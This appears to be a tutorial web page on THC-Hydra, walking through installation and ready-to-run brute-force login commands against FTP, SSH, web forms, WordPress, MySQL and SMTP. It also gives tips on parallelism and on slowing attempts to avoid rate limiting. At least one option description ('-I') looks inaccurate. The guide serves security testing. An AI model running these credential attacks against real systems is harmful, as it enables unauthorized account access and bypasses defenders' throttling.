The Expert's Hydra Guide

A comprehensive guide to password cracking and brute force attacks with Hydra

Hydra is one of the most powerful and widely used online password cracking tools in the security industry. This fast and flexible tool is designed to efficiently perform brute force attacks against various network services and authentication mechanisms. Hydra excels at testing password security across multiple protocols, making it an essential tool for security professionals conducting penetration tests.

THC-Hydra is a parallelized login cracker that supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. Hydra can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, SMB, several databases, LDAP, and more.

Why Use Hydra?

  • Versatility: Supports numerous protocols and authentication mechanisms
  • Speed: Highly optimized for fast password cracking with parallel execution
  • Flexibility: Customizable attack parameters and options
  • Active Development: Regularly updated with new features and protocol support
  • Free and Open Source: Available to everyone with an active community
  • Comprehensive Reporting: Detailed output of successful login attempts
  • Integration Capabilities: Works well with other penetration testing tools

Getting Started with Hydra

1
Install Hydra

Hydra comes pre-installed in many security-focused Linux distributions like Kali Linux. For other systems:

Debian/Ubuntu:

sudo apt update
sudo apt install hydra

Fedora/RHEL:

sudo dnf install hydra

macOS (using Homebrew):

brew install hydra

From Source:

git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
make install
2
Verify Installation

Test your installation by running:

hydra -h

This should display the help menu with available options and supported protocols.

3
Understand Basic Syntax

The basic syntax for Hydra is:

hydra [options] [-s PORT] TARGET PROTOCOL [MODULE-OPTIONS]

For example, to perform an FTP brute force attack:

hydra -l user -P wordlist.txt ftp://192.168.1.1

Where:

  • -l user: Specifies a single username
  • -P wordlist.txt: Specifies a password list file
  • ftp://192.168.1.1: Target protocol and IP address

Supported Protocols

Hydra supports a wide range of protocols, including but not limited to:

CategoryProtocols
Remote AccessSSH, Telnet, rlogin, rsh
File TransferFTP, FTPS, SFTP
WebHTTP(S), HTTP-FORM-GET, HTTP-FORM-POST, HTTP-PROXY
MailSMTP, POP3, IMAP
DatabasesMySQL, PostgreSQL, Oracle, MS-SQL, MongoDB
Directory ServicesLDAP, SMB/CIFS
VoIPSIP, Asterisk
OtherVNC, RDP, Cisco, Cisco-enable, CVS

Common Attack Methods

HTTP Form-based authentication is one of the most common targets for Hydra. The syntax for attacking web forms is:

hydra -l username -P passwords.txt target.com http-post-form "/login.php:username=^USER^&password=^PASS^:Failed login"

The http-post-form parameter consists of three parts separated by colons:

  1. The URL path of the form
  2. The form parameters with ^USER^ and ^PASS^ as placeholders
  3. The error message indicating a failed login attempt

For GET requests, use http-get-form instead of http-post-form.

Advanced Options

Parallelization and Performance Tuning

Control the number of parallel tasks and optimize performance:

hydra -l admin -P passwords.txt -t 16 -f -V 192.168.1.1 http-post-form "/admin:username=^USER^&password=^PASS^:Login failed"
  • -t 16: Use 16 parallel connections
  • -f: Stop after finding a valid credential pair
  • -V: Verbose mode, showing login attempts

Username and Password Lists

Hydra offers flexible options for username and password inputs:

hydra -L users.txt -P passwords.txt 192.168.1.1 ftp
  • -L users.txt: List of usernames
  • -P passwords.txt: List of passwords
  • -C credentials.txt: Combined username:password format

Output and Reporting

Save results to various formats:

hydra -l admin -P passwords.txt 192.168.1.1 ssh -o ssh_results.txt
  • -o ssh_results.txt: Output results to a text file
  • -b json: Output in JSON format
  • -I: Show each attempt (very verbose)

Note:

Always ensure you have proper authorization before using Hydra against any system. Unauthorized password cracking attempts are illegal and unethical.

Practical Examples

WordPress Login Brute Force

hydra -l admin -P wordlist.txt 192.168.1.1 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered"

SSH with Rate Limiting

hydra -l root -P passwords.txt ssh://192.168.1.1 -t 4 -W 5

The -W 5 option adds a 5-second delay between connection attempts to avoid triggering rate limiting.

MySQL Database

hydra -l root -P passwords.txt 192.168.1.1 mysql

SMTP Authentication

hydra -l user@example.com -P passwords.txt smtp://mail.example.com -v

Guide Structure

This guide is organized into several sections:

  1. Core Operations: Basic syntax, protocol support, and fundamental usage
  2. Advanced Techniques: Customization options, performance tuning, and specialized approaches
  3. Protocol-Specific Guides: Detailed instructions for common protocols
  4. Best Practices: Ethical considerations, avoiding detection, and workflow optimization

Each section provides detailed explanations, command examples, and real-world use cases to help you master Hydra for ethical penetration testing and security assessment.

Next Steps

Now that you understand the basics of Hydra, explore the following sections to deepen your knowledge: